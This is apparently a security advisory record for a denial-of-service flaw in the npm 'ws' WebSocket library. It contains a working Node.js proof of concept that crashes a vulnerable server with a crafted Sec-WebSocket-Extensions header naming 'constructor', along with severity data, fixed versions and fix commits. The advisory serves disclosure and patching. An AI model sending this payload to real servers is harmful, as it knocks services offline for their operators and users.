{"id":"GHSA-5v72-xg48-5rpm","aliases":[],"url":"https://o3.security/vulnerability/GHSA-5v72-xg48-5rpm","summary":"Denial of Service in ws","details":"Affected versions of `ws` can crash when a specially crafted `Sec-WebSocket-Extensions` header containing `Object.prototype` property names as extension or parameter names is sent.\n\n## Proof of concept\n\n```\nconst WebSocket = require('ws');\nconst net = require('net');\n\nconst wss = new WebSocket.Server({ port: 3000 }, function () {\n  const payload = 'constructor';  // or ',;constructor'\n\n  const request = [\n    'GET / HTTP/1.1',\n    'Connection: Upgrade',\n    'Sec-WebSocket-Key: test',\n    'Sec-WebSocket-Version: 8',\n    `Sec-WebSocket-Extensions: ${payload}`,\n    'Upgrade: websocket',\n    '\\r\\n'\n  ].join('\\r\\n');\n\n  const socket = net.connect(3000, function () {\n    socket.resume();\n    socket.write(request);\n  });\n});\n```\n\n\n## Recommendation\n\nUpdate to version 3.3.1 or later.","published":"2019-06-04T19:37:52Z","modified":"2026-07-17T18:45:52.881635162Z","cvss":{"score":7.5,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"ws","fixedVersion":"1.1.5"},{"ecosystem":"npm","name":"ws","fixedVersion":"3.3.1"}],"fix":{"url":"https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef","label":"websockets/ws@a810bfa"},"references":[{"type":"WEB","url":"https://github.com/websockets/ws/commit/a810bfa44f08c84ff3f43cc71327e9bb5fb273ef"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/c4fe46608acd61fbf7397eadc47378903f95b78a"},{"type":"WEB","url":"https://github.com/websockets/ws/commit/f8fdcd40ac8be7318a6ee41f5ceb7e77c995b407"},{"type":"PACKAGE","url":"https://github.com/websockets/ws"},{"type":"WEB","url":"https://snyk.io/vuln/npm:ws:20171108"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-17T18:45:52.881635162Z"}}